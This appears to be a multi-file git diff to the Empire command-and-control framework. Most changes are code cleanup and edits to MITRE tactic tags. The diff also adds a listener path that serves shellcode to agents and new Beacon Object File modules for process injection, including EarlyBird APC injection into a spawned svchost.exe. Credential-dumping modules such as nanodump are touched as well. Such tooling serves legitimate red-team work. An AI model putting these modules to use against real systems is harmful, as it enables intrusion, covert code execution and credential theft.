+ return (self.template_dir / "default.html").read_text(encoding="utf-8") def validate_options(self) -> tuple[bool, str | None]: """ @@ -621,8 +621,7 @@ def generate_stager( if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -701,8 +700,7 @@ def generate_stager( ) template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) template = eng.get_template("http_malleable/http_malleable.py") @@ -772,8 +770,9 @@ def generate_agent( if language == "powershell": # read in agent code - with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: - code = f.read() + code = (self.mainMenu.install_path / "data/agent/agent.ps1").read_text( + encoding="utf-8" + ) # strip out the comments and blank lines code = helpers.strip_powershell_comments(code) @@ -801,12 +800,12 @@ def generate_agent( if language == "python": # read in the agent base - if version == "ironpython": - f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" - else: - f = self.mainMenu.installPath + "/data/agent/agent.py" - with open(f) as f: - code = f.read() + agent_path = ( + self.mainMenu.install_path / "data/agent/ironpython_agent.py" + if version == "ironpython" + else self.mainMenu.install_path / "data/agent/agent.py" + ) + code = agent_path.read_text(encoding="utf-8") # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -885,16 +884,7 @@ def generate_comms(self, listenerOptions, language=None): # ==== CHOOSE URI ==== getTask += ( "$taskURI = " - + ",".join( - [ - f"'{u}'" - for u in ( - profile.get.client.uris - if profile.get.client.uris - else ["/"] - ) - ] - ) + + ",".join([f"'{u}'" for u in (profile.get.client.uris or ["/"])]) + " | Get-Random;" ) @@ -1006,16 +996,7 @@ def generate_comms(self, listenerOptions, language=None): # ==== CHOOSE URI ==== sendMessage += ( "$taskURI = " - + ",".join( - [ - f"'{u}'" - for u in ( - profile.post.client.uris - if profile.post.client.uris - else ["/"] - ) - ] - ) + + ",".join([f"'{u}'" for u in (profile.post.client.uris or ["/"])]) + " | Get-Random;" ) @@ -1396,20 +1377,16 @@ def handle_request(request_uri="", tempListenerOptions=None): # identify the implementation by uri implementation = None for uri in sorted( - ( - profile.stager.client.uris - if profile.stager.client.uris - else ["/"] - ) - + (profile.get.client.uris if profile.get.client.uris else ["/"]) - + (profile.post.client.uris if profile.post.client.uris else ["/"]), + (profile.stager.client.uris or ["/"]) + + (profile.get.client.uris or ["/"]) + + (profile.post.client.uris or ["/"]), key=len, reverse=True, ): if request_uri.startswith(uri.lstrip("/")): # match! for imp in [profile.stager, profile.get, profile.post]: - if uri in (imp.client.uris if imp.client.uris else ["/"]): + if uri in (imp.client.uris or ["/"]): implementation = imp break if implementation: @@ -1430,9 +1407,7 @@ def handle_request(request_uri="", tempListenerOptions=None): elif implementation is profile.post: # the post implementation has two spots for data, requires two-part extraction agentInfo, output = implementation.extract_client(malleableRequest) - agentInfo = (agentInfo if agentInfo else b"") + ( - output if output else b"" - ) + agentInfo = (agentInfo or b"") + (output or b"") self.instance_log.debug( f"{listenerName}: extracted agentInfo from post (two-part), len={len(agentInfo)}" ) @@ -1460,7 +1435,7 @@ def handle_request(request_uri="", tempListenerOptions=None): self.instance_log.error(message) log.error(message) - for language, results in dataResults: + for language, results, additional in dataResults: if results: if isinstance(results, str): results = results.encode("latin-1") @@ -1477,6 +1452,38 @@ def handle_request(request_uri="", tempListenerOptions=None): obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( db, language ) + + if additional.lower() == "shellcode": + stage, err = ( + self.mainMenu.stagergenv2.generate_shellcode( + language=language.lower(), + listener_name=listenerName, + obfuscate=obf_config.enabled + if obf_config + else False, + obfuscation_command=obf_config.command + if obf_config + else "", + arch="both", + dot_net_version="net40", + ) + ) + if err: + log.error( + f"Error generating shellcode: {err}" + ) + return Response( + self.default_response(), 404 + ) + malleableResponse = ( + implementation.construct_server(stage) + ) + return Response( + malleableResponse.body, + malleableResponse.code, + malleableResponse.headers, + ) + stager = self.generate_stager( language=language, listenerOptions=listenerOptions, @@ -1563,9 +1570,7 @@ def handle_request(request_uri="", tempListenerOptions=None): agentCode = self.generate_agent( language=language, listenerOptions=( - tempListenerOptions - if tempListenerOptions - else listenerOptions + tempListenerOptions or listenerOptions ), obfuscate=( False @@ -1719,8 +1724,7 @@ def handle_request(request_uri="", tempListenerOptions=None): directory = self.mainMenu.stagergenv2.generate_python_exe( launcher, dot_net_version="net40", obfuscate=obfuscation ) - with open(directory, "rb") as f: - return f.read() + return Path(directory).read_bytes() # log invalid request message = ( @@ -1740,10 +1744,10 @@ def handle_request(request_uri="", tempListenerOptions=None): ja3_evasion = listenerOptions["JA3_Evasion"]["Value"] if host.startswith("https"): - if certPath.strip() == "" or not os.path.isdir(certPath): + if certPath.strip() == "" or not Path(certPath).is_dir(): log.info(f"Unable to find certpath {certPath}, using default.") certPath = "setup" - certPath = os.path.abspath(certPath) + cert_path = Path(certPath).resolve() pyversion = sys.version_info # support any version of tls @@ -1756,8 +1760,8 @@ def handle_request(request_uri="", tempListenerOptions=None): context = ssl.SSLContext(proto) context.load_cert_chain( - f"{certPath}/empire-chain.pem", - f"{certPath}/empire-priv.key", + cert_path / "empire-chain.pem", + cert_path / "empire-priv.key", ) if ja3_evasion: @@ -1783,7 +1787,7 @@ def start(self): self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) self.thread.daemon = True self.thread.start() - time.sleep(1) + time.sleep(0.1 if os.environ.get("TEST_MODE") else 1) # returns True if the listener successfully started, false otherwise return self.thread.is_alive() diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 945edde5c..8bdc510d7 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -1,7 +1,6 @@ import base64 import copy import logging -import os import random from empire.server.common import helpers, packets, templating @@ -340,9 +339,9 @@ def generate_launcher( jitter = self.options["DefaultJitter"]["Value"] lostLimit = self.options["DefaultLostLimit"]["Value"] - with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f: - stager_yaml = f.read() - stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = ( + self.mainMenu.install_path / "stagers/Sharpire.yaml" + ).read_text(encoding="utf-8") stager_yaml = ( stager_yaml.replace("{{ REPLACE_ADDRESS }}", self.host_address) .replace("{{ REPLACE_SESSIONKEY }}", stagingKey) @@ -395,8 +394,7 @@ def generate_stager( if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -444,8 +442,7 @@ def generate_stager( if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -504,8 +501,9 @@ def generate_agent( b64DefaultResponse = base64.b64encode(self.default_response()) if language == "powershell": - with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f: - code = f.read() + code = (self.mainMenu.install_path / "data/agent/agent.ps1").read_text( + encoding="utf-8" + ) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) @@ -538,12 +536,12 @@ def generate_agent( return code if language == "python": - if version == "ironpython": - f = self.mainMenu.installPath + "/data/agent/ironpython_agent.py" - else: - f = self.mainMenu.installPath + "/data/agent/agent.py" - with open(f) as f: - code = f.read() + agent_path = ( + self.mainMenu.install_path / "data/agent/ironpython_agent.py" + if version == "ironpython" + else self.mainMenu.install_path / "data/agent/agent.py" + ) + code = agent_path.read_text(encoding="utf-8") # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -593,8 +591,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "powershell": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -609,8 +606,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) template = eng.get_template("http/comms.py") diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index a72263a12..4530719df 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -1,7 +1,6 @@ import base64 import copy import logging -import os import random from empire.server.common import helpers, packets, templating @@ -108,7 +107,7 @@ def generate_launcher( ) return None - if language in ["ironpython"]: + if language == "ironpython": launcherBase = "import sys;" if "https" in self.host_address: # monkey patch ssl woohooo @@ -253,8 +252,7 @@ def generate_stager( if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) @@ -319,10 +317,9 @@ def generate_agent( return None if language == "python": - with open( - self.mainMenu.installPath + "/data/agent/ironpython_agent.py" - ) as f: - code = f.read() + code = ( + self.mainMenu.install_path / "data/agent/ironpython_agent.py" + ).read_text(encoding="utf-8") # strip out comments and blank lines code = helpers.strip_python_comments(code) @@ -371,8 +368,7 @@ def generate_comms(self, listenerOptions, language=None): if language.lower() == "python": template_path = [ - os.path.join(self.mainMenu.installPath, "/data/agent/stagers"), - os.path.join(self.mainMenu.installPath, "./data/agent/stagers"), + self.mainMenu.install_path / "data/agent/stagers", ] eng = templating.TemplateEngine(template_path) template = eng.get_template("smb/comms.py") diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index 6620b8c7e..a56696811 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -1,3 +1,4 @@ +import os import random import time @@ -309,7 +310,7 @@ def start(self): self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) self.thread.daemon = True self.thread.start() - time.sleep(1) + time.sleep(0.1 if os.environ.get("TEST_MODE") else 1) # returns True if the listener successfully started, false otherwise return self.thread.is_alive() diff --git a/empire/server/modules/bof/credentials/nanodump.py b/empire/server/modules/bof/credentials/nanodump.py index 67de3cdf1..45ac15f45 100644 --- a/empire/server/modules/bof/credentials/nanodump.py +++ b/empire/server/modules/bof/credentials/nanodump.py @@ -10,13 +10,14 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": "x64", - "ProcessID": params.get("pid") if params.get("pid") else "0", + "ProcessID": params.get("pid") or "0", "DumpPath": params.get("write", "find_me.dmp"), "WriteFile": "1" if params.get("write") else "0", - "Chunksize": params.get("chunksize") if params.get("chunksize") else "0", + "Chunksize": params.get("chunksize") or "0", "ValidSignature": "1" if params.get("valid") == "true" else "0", "Fork": "1" if params.get("fork") == "true" else "0", "Snapshot": "1" if params.get("snapshot") == "true" else "0", diff --git a/empire/server/modules/bof/credentials/tgtdelegation.py b/empire/server/modules/bof/credentials/tgtdelegation.py index 2c6df42ff..4b227b45c 100644 --- a/empire/server/modules/bof/credentials/tgtdelegation.py +++ b/empire/server/modules/bof/credentials/tgtdelegation.py @@ -12,6 +12,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): nonce = random.randint(1000, 10000) diff --git a/empire/server/modules/bof/management/SpawnProcess.yaml b/empire/server/modules/bof/management/SpawnProcess.yaml index bcf2e34e4..7e2d97dd0 100644 --- a/empire/server/modules/bof/management/SpawnProcess.yaml +++ b/empire/server/modules/bof/management/SpawnProcess.yaml @@ -7,7 +7,7 @@ description: | Beacon Object File (BOF) that creates a sacrificial process in a suspended state for process injection techniques. Spawns a Microsoft-signed binary (default: calc.exe) as a child of a specified parent process (default: explorer.exe) to establish a legitimate process tree. -tactics: [TA0002] +tactics: [TA0002, TA0004, TA0005] techniques: [T1134.004, T1106] background: false output_extension: diff --git a/empire/server/modules/bof/management/clipboard_window_inject.py b/empire/server/modules/bof/management/clipboard_window_inject.py index 6c822fbdf..0c4f9cdc1 100644 --- a/empire/server/modules/bof/management/clipboard_window_inject.py +++ b/empire/server/modules/bof/management/clipboard_window_inject.py @@ -1,8 +1,9 @@ import base64 from empire.server.common.empire import MainMenu -from empire.server.core.exceptions import ModuleExecutionException from empire.server.core.module_models import EmpireModule +from empire.server.utils.bof_packer import Packer +from empire.server.utils.shellcode_compiler import generate_pic_shellcode class Module: @@ -13,44 +14,26 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): - params["Architecture"] = "x64" + agent_language = kwargs.get("agent_language", "") listener_name = params["Listener"] - pid = params["pid"] - user_agent = params["UserAgent"] - proxy = params["Proxy"] - proxy_creds = params["ProxyCreds"] - launcher_obfuscation_command = params["ObfuscateCommand"] + pid = int(params["pid"]) language = params["Language"] - launcher_obfuscation = params["Obfuscate"] - launcher = main_menu.stagergenv2.generate_launcher( - listener_name, - language=language, - encode=False, - obfuscate=launcher_obfuscation, - obfuscation_command=launcher_obfuscation_command, - user_agent=user_agent, - proxy=proxy, - proxy_creds=proxy_creds, - ) - - shellcode, err = main_menu.stagergenv2.generate_powershell_shellcode( - launcher, arch="x64", dot_net_version="net40" - ) - if err: - raise ModuleExecutionException("Failed to generate shellcode") + shellcode = generate_pic_shellcode(main_menu, listener_name, language) - encoded_shellcode = base64.b64encode(shellcode).decode("utf-8") + script_path = main_menu.modulesv2.module_source_path / module.bof.x64 + bof_data = script_path.read_bytes() + b64_bof_data = base64.b64encode(bof_data).decode("utf-8") - params_dict = { - "Architecture": "x64", - "Shellcode": encoded_shellcode, - "ProcessID": pid, - } + packer = Packer() + packer.addint(pid) + packer.addbytes(shellcode) - return main_menu.modulesv2.generate_script_bof( - module=module, - params=params_dict, + return main_menu.modulesv2.format_bof_output( + bof_data_b64=b64_bof_data, + hex_data=packer.getbuffer_data(), + agent_language=agent_language, obfuscate=obfuscate, ) diff --git a/empire/server/modules/bof/management/clipboard_window_inject.yaml b/empire/server/modules/bof/management/clipboard_window_inject.yaml index a011da0a0..db0656ee9 100644 --- a/empire/server/modules/bof/management/clipboard_window_inject.yaml +++ b/empire/server/modules/bof/management/clipboard_window_inject.yaml @@ -7,7 +7,7 @@ description: Beacon Object File (BOF) that injects beacon shellcode into remote avoiding the usage of common monitored APIs using the CLIPBRDWNDCLASS injection technique (similar to Propagate) learned from Hexacorn. software: '' -tactics: [TA0004] +tactics: [TA0004, TA0009] techniques: [T1115] background: false output_extension: @@ -35,43 +35,11 @@ options: - powershell - csharp - ironpython - - name: Obfuscate - description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. - required: false - value: 'False' - strict: true - suggested_values: - - True - - False - - name: ObfuscateCommand - description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. - required: false - value: Token\All\1 - - name: Bypasses - description: Bypasses as a space separated list to be prepended to the launcher. - required: false - value: '' - - name: UserAgent - description: User-agent string to use for the staging request (default, none, - or other). - required: false - value: default - - name: Proxy - description: Proxy to use for request (default, none, or other). - required: false - value: default - - name: ProxyCreds - description: Proxy credentials ([domain\]username:password) to use for request - (default, none, or other). - required: false - value: default bof: x86: '' x64: bof/ClipboardWindow/ClipboardWindow-Inject.x64.o entry_point: '' - format_string: bi + format_string: ib script_path: '' script_end: '' advanced: diff --git a/empire/server/modules/bof/management/secinject.py b/empire/server/modules/bof/management/secinject.py deleted file mode 100644 index 7f1b03e16..000000000 --- a/empire/server/modules/bof/management/secinject.py +++ /dev/null @@ -1,56 +0,0 @@ -import base64 - -from empire.server.common.empire import MainMenu -from empire.server.core.exceptions import ModuleExecutionException -from empire.server.core.module_models import EmpireModule - - -class Module: - @staticmethod - def generate( - main_menu: MainMenu, - module: EmpireModule, - params: dict, - obfuscate: bool = False, - obfuscation_command: str = "", - ): - params["Architecture"] = "x64" - listener_name = params["Listener"] - pid = params["pid"] - user_agent = params["UserAgent"] - proxy = params["Proxy"] - proxy_creds = params["ProxyCreds"] - launcher_obfuscation_command = params["ObfuscateCommand"] - language = params["Language"] - launcher_obfuscation = params["Obfuscate"] - - launcher = main_menu.stagergenv2.generate_launcher( - listener_name, - language=language, - encode=False, - obfuscate=launcher_obfuscation, - obfuscation_command=launcher_obfuscation_command, - user_agent=user_agent, - proxy=proxy, - proxy_creds=proxy_creds, - ) - - shellcode, err = main_menu.stagergenv2.generate_powershell_shellcode( - launcher, arch="x64", dot_net_version="net40" - ) - if err: - raise ModuleExecutionException("Failed to generate shellcode") - - encoded_shellcode = base64.b64encode(shellcode).decode("utf-8") - - params_dict = { - "Architecture": "x64", - "ProcessID": pid, - "Shellcode": encoded_shellcode, - } - - return main_menu.modulesv2.generate_script_bof( - module=module, - params=params_dict, - obfuscate=obfuscate, - ) diff --git a/empire/server/modules/bof/management/secinject.yaml b/empire/server/modules/bof/management/secinject.yaml deleted file mode 100644 index a10a6d820..000000000 --- a/empire/server/modules/bof/management/secinject.yaml +++ /dev/null @@ -1,79 +0,0 @@ -name: secinject -authors: - - name: Anthony Rose - handle: '@Cx01N' - link: https://twitter.com/Cx01N_ -description: Beacon Object File (BOF) that performs section mapping process injection - by allocating memory in a target process and mapping PE sections directly into - the remote process memory space. This technique avoids traditional process injection - APIs by manually copying section data and applying proper memory protection flags. -software: '' -tactics: [TA0004] -techniques: [T1055] -background: false -output_extension: -needs_admin: false -opsec_safe: true -language: bof -min_language_version: '' -comments: - - https://github.com/apokryptein/secinject -options: - - name: pid - description: Specify the process id. - required: true - value: '' - - name: Listener - description: Listener to use. - required: true - value: '' - - name: Language - description: Language of the stager to generate - required: true - value: powershell - strict: true - suggested_values: - - powershell - - csharp - - ironpython - - name: Obfuscate - description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand - for obfuscation types. For powershell only. - required: false - value: 'False' - strict: true - suggested_values: - - True - - False - - name: ObfuscateCommand - description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch - is True. For powershell only. - required: false - value: Token\All\1 - - name: Bypasses - description: Bypasses as a space separated list to be prepended to the launcher. - required: false - value: '' - - name: UserAgent - description: User-agent string to use for the staging request (default, none, - or other). - required: false - value: default - - name: Proxy - description: Proxy to use for request (default, none, or other). - required: false - value: default - - name: ProxyCreds - description: Proxy credentials ([domain\]username:password) to use for request - (default, none, or other). - required: false - value: default -bof: - x86: '' - x64: bof/secinject/secinject.x64.o - entry_point: '' - format_string: ib -script_path: '' -script_end: '' -advanced: - custom_generate: true diff --git a/empire/server/modules/bof/management/spawn.py b/empire/server/modules/bof/management/spawn.py new file mode 100644 index 000000000..fb4c593fc --- /dev/null +++ b/empire/server/modules/bof/management/spawn.py @@ -0,0 +1,39 @@ +import base64 + +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule +from empire.server.utils.bof_packer import Packer +from empire.server.utils.shellcode_compiler import generate_pic_shellcode + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + **kwargs, + ): + agent_language = kwargs.get("agent_language", "") + listener_name = params["Listener"] + language = params["Language"] + process_name = params["ProcessName"] + + shellcode = generate_pic_shellcode(main_menu, listener_name, language) + + script_path = main_menu.modulesv2.module_source_path / module.bof.x64 + bof_data = script_path.read_bytes() + b64_bof_data = base64.b64encode(bof_data).decode("utf-8") + + packer = Packer() + packer.addstr(process_name) + packer.addbytes(shellcode) + + return main_menu.modulesv2.format_bof_output( + bof_data_b64=b64_bof_data, + hex_data=packer.getbuffer_data(), + agent_language=agent_language, + obfuscate=obfuscate, + ) diff --git a/empire/server/modules/bof/management/spawn.yaml b/empire/server/modules/bof/management/spawn.yaml new file mode 100644 index 000000000..7251bf9ab --- /dev/null +++ b/empire/server/modules/bof/management/spawn.yaml @@ -0,0 +1,69 @@ +name: spawn +authors: + - name: Bobby Cooke + handle: '@0xBoku' + link: https://twitter.com/0xBoku + - name: Justin Hamilton + handle: '@JTHam0' + link: https://twitter.com/JTHam0 + - name: Octavio Paguaga + handle: '@OakTree__' + link: https://twitter.com/OakTree__ + - name: Matt Kingstone + handle: '@n00bRage' + link: https://twitter.com/n00bRage + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + Beacon Object File (BOF) that spawns an arbitrary process + in a suspended state, injects shellcode into the remote + process, hijacks the main thread using the EarlyBird APC + technique, and executes the shellcode. x64 only. +software: '' +tactics: [TA0002, TA0005] +techniques: [T1055.012, T1106] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/boku7/HOLLOW +options: + - name: Listener + description: Listener to use. + required: true + value: '' + - name: Language + description: Language of the stager to generate. + required: true + value: powershell + strict: true + suggested_values: + - powershell + - csharp + - ironpython + - name: ProcessName + description: >- + Process to spawn in a suspended state for shellcode injection (e.g. svchost.exe). + required: true + value: svchost.exe + - name: Architecture + description: >- + Architecture of the BOF to use (x64 only). + required: true + value: x64 + strict: true + suggested_values: + - x64 +bof: + x86: '' + x64: bof/spawn/hollow.x64.o + entry_point: '' + format_string: zb +script_path: '' +script_end: '' +advanced: + custom_generate: true diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum.yaml index 5fe684d07..39ef20b07 100644 --- a/empire/server/modules/bof/situational_awareness/adcs_enum.yaml +++ b/empire/server/modules/bof/situational_awareness/adcs_enum.yaml @@ -9,8 +9,8 @@ description: | and their certificate templates. Serves as an alternative to COM-based enumeration by invoking low-level Windows API functions directly. software: '' -tactics: [TA0043, TA0007] -techniques: [T1590.001, T1590.003, T1482, T1106] +tactics: [TA0043, TA0002] +techniques: [T1590.001, T1590.003, T1106] background: false output_extension: needs_admin: false diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml index e543706c0..00a189b27 100644 --- a/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml +++ b/empire/server/modules/bof/situational_awareness/adcs_enum_com.yaml @@ -8,8 +8,8 @@ description: | in the current domain using the ICertConfig COM interface. Outputs all enterprise Certificate Authorities (CAs) and their published certificate templates. software: '' -tactics: [TA0043, TA0007] -techniques: [T1590.001, T1590.003, T1482, T1559.001] +tactics: [TA0043, TA0002] +techniques: [T1590.001, T1590.003, T1559.001] background: false output_extension: needs_admin: false diff --git a/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml b/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml index 6d3dfb838..4dc6d31bb 100644 --- a/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml +++ b/empire/server/modules/bof/situational_awareness/adcs_enum_com2.yaml @@ -9,8 +9,8 @@ description: | Unlike the ICertConfig-based variant, this method uses a more modern COM interface associated with AD CS policy management. software: '' -tactics: [TA0043, TA0007] -techniques: [T1590.001, T1590.003, T1482, T1559.001] +tactics: [TA0043, TA0002] +techniques: [T1590.001, T1590.003, T1559.001] background: false output_extension: needs_admin: false diff --git a/empire/server/modules/bof/situational_awareness/arp.yaml b/empire/server/modules/bof/situational_awareness/arp.yaml index df7ed07c5..17d46cc14 100644 --- a/empire/server/modules/bof/situational_awareness/arp.yaml +++ b/empire/server/modules/bof/situational_awareness/arp.yaml @@ -8,7 +8,7 @@ description: | address mappings. Useful for identifying other hosts on the same subnet and gathering network reconnaissance data. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0002] techniques: [T1016, T1018, T1106] background: false output_extension: diff --git a/empire/server/modules/bof/situational_awareness/cacls.yaml b/empire/server/modules/bof/situational_awareness/cacls.yaml index f485539e1..73a616a5d 100644 --- a/empire/server/modules/bof/situational_awareness/cacls.yaml +++ b/empire/server/modules/bof/situational_awareness/cacls.yaml @@ -8,7 +8,7 @@ description: | If a folder is provided, permissions are enumerated recursively to identify access rights across all nested items. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0002] techniques: [T1083, T1106] background: false output_extension: diff --git a/empire/server/modules/bof/situational_awareness/clipboard_window_inject_list.py b/empire/server/modules/bof/situational_awareness/clipboard_window_inject_list.py new file mode 100644 index 000000000..1b5a4a7a4 --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/clipboard_window_inject_list.py @@ -0,0 +1,31 @@ +import base64 + +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule +from empire.server.utils.bof_packer import Packer + + +class Module: + @staticmethod + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + **kwargs, + ): + agent_language = kwargs.get("agent_language", "") + script_path = main_menu.modulesv2.module_source_path / module.bof.x64 + bof_data = script_path.read_bytes() + b64_bof_data = base64.b64encode(bof_data).decode("utf-8") + + packer = Packer() + packer.addint(0) + + return main_menu.modulesv2.format_bof_output( + bof_data_b64=b64_bof_data, + hex_data=packer.getbuffer_data(), + agent_language=agent_language, + obfuscate=obfuscate, + ) diff --git a/empire/server/modules/bof/situational_awareness/clipboard_window_inject_list.yaml b/empire/server/modules/bof/situational_awareness/clipboard_window_inject_list.yaml new file mode 100644 index 000000000..daf54717f --- /dev/null +++ b/empire/server/modules/bof/situational_awareness/clipboard_window_inject_list.yaml @@ -0,0 +1,27 @@ +name: ClipboardWindow-Inject List +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: List processes with clipboard window class +software: '' +tactics: [TA0004] +techniques: [T1115] +background: false +output_extension: +needs_admin: false +opsec_safe: true +language: bof +min_language_version: '' +comments: + - https://github.com/BronzeTicket/ClipboardWindow-Inject +options: +bof: + x86: '' + x64: bof/ClipboardWindow/ClipboardWindow-Inject.x64.o + entry_point: '' + format_string: i +script_path: '' +script_end: '' +advanced: + custom_generate: true diff --git a/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml b/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml index 05e96ecf1..c92d78a04 100644 --- a/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml +++ b/empire/server/modules/bof/situational_awareness/enum_filter_driver.yaml @@ -8,7 +8,7 @@ description: | Useful for identifying security, storage, or file system monitoring components that may impact operations or indicate defensive tooling. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0002] techniques: [T1083, T1106] background: false output_extension: diff --git a/empire/server/modules/bof/situational_awareness/env.yaml b/empire/server/modules/bof/situational_awareness/env.yaml index 8a71d7fd9..eb89666f6 100644 --- a/empire/server/modules/bof/situational_awareness/env.yaml +++ b/empire/server/modules/bof/situational_awareness/env.yaml @@ -7,7 +7,7 @@ description: | Lists environment variables for the current process. Useful for identifying system configuration, user context, and potential credential or path leaks. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0002] techniques: [T1082, T1106] background: false output_extension: diff --git a/empire/server/modules/bof/situational_awareness/get_password_policy.yaml b/empire/server/modules/bof/situational_awareness/get_password_policy.yaml index 10440510e..eab543000 100644 --- a/empire/server/modules/bof/situational_awareness/get_password_policy.yaml +++ b/empire/server/modules/bof/situational_awareness/get_password_policy.yaml @@ -8,7 +8,7 @@ description: | from the target system or domain controller. Useful for assessing password complexity requirements, lockout thresholds, and potential brute-force protections. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0002] techniques: [T1201, T1082, T1106] background: false output_extension: diff --git a/empire/server/modules/bof/situational_awareness/netGroupList.py b/empire/server/modules/bof/situational_awareness/netGroupList.py index dcf0856ba..c8800a2a1 100644 --- a/empire/server/modules/bof/situational_awareness/netGroupList.py +++ b/empire/server/modules/bof/situational_awareness/netGroupList.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": params["Architecture"], diff --git a/empire/server/modules/bof/situational_awareness/netGroupListMembers.py b/empire/server/modules/bof/situational_awareness/netGroupListMembers.py index 6d96cde61..b9c3f9e21 100644 --- a/empire/server/modules/bof/situational_awareness/netGroupListMembers.py +++ b/empire/server/modules/bof/situational_awareness/netGroupListMembers.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": params["Architecture"], diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupList.py b/empire/server/modules/bof/situational_awareness/netLocalGroupList.py index cfa674aaa..d6d9fccb7 100644 --- a/empire/server/modules/bof/situational_awareness/netLocalGroupList.py +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupList.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": params["Architecture"], diff --git a/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.py b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.py index ff74aa6ee..afea08526 100644 --- a/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.py +++ b/empire/server/modules/bof/situational_awareness/netLocalGroupListMembers.py @@ -10,6 +10,7 @@ def generate( params: dict, obfuscate: bool = False, obfuscation_command: str = "", + **kwargs, ): params_dict = { "Architecture": params["Architecture"], diff --git a/empire/server/modules/bof/situational_awareness/netloggedon.py b/empire/server/modules/bof/situational_awareness/netloggedon.py index 3036431b8..a7625e631 100644 --- 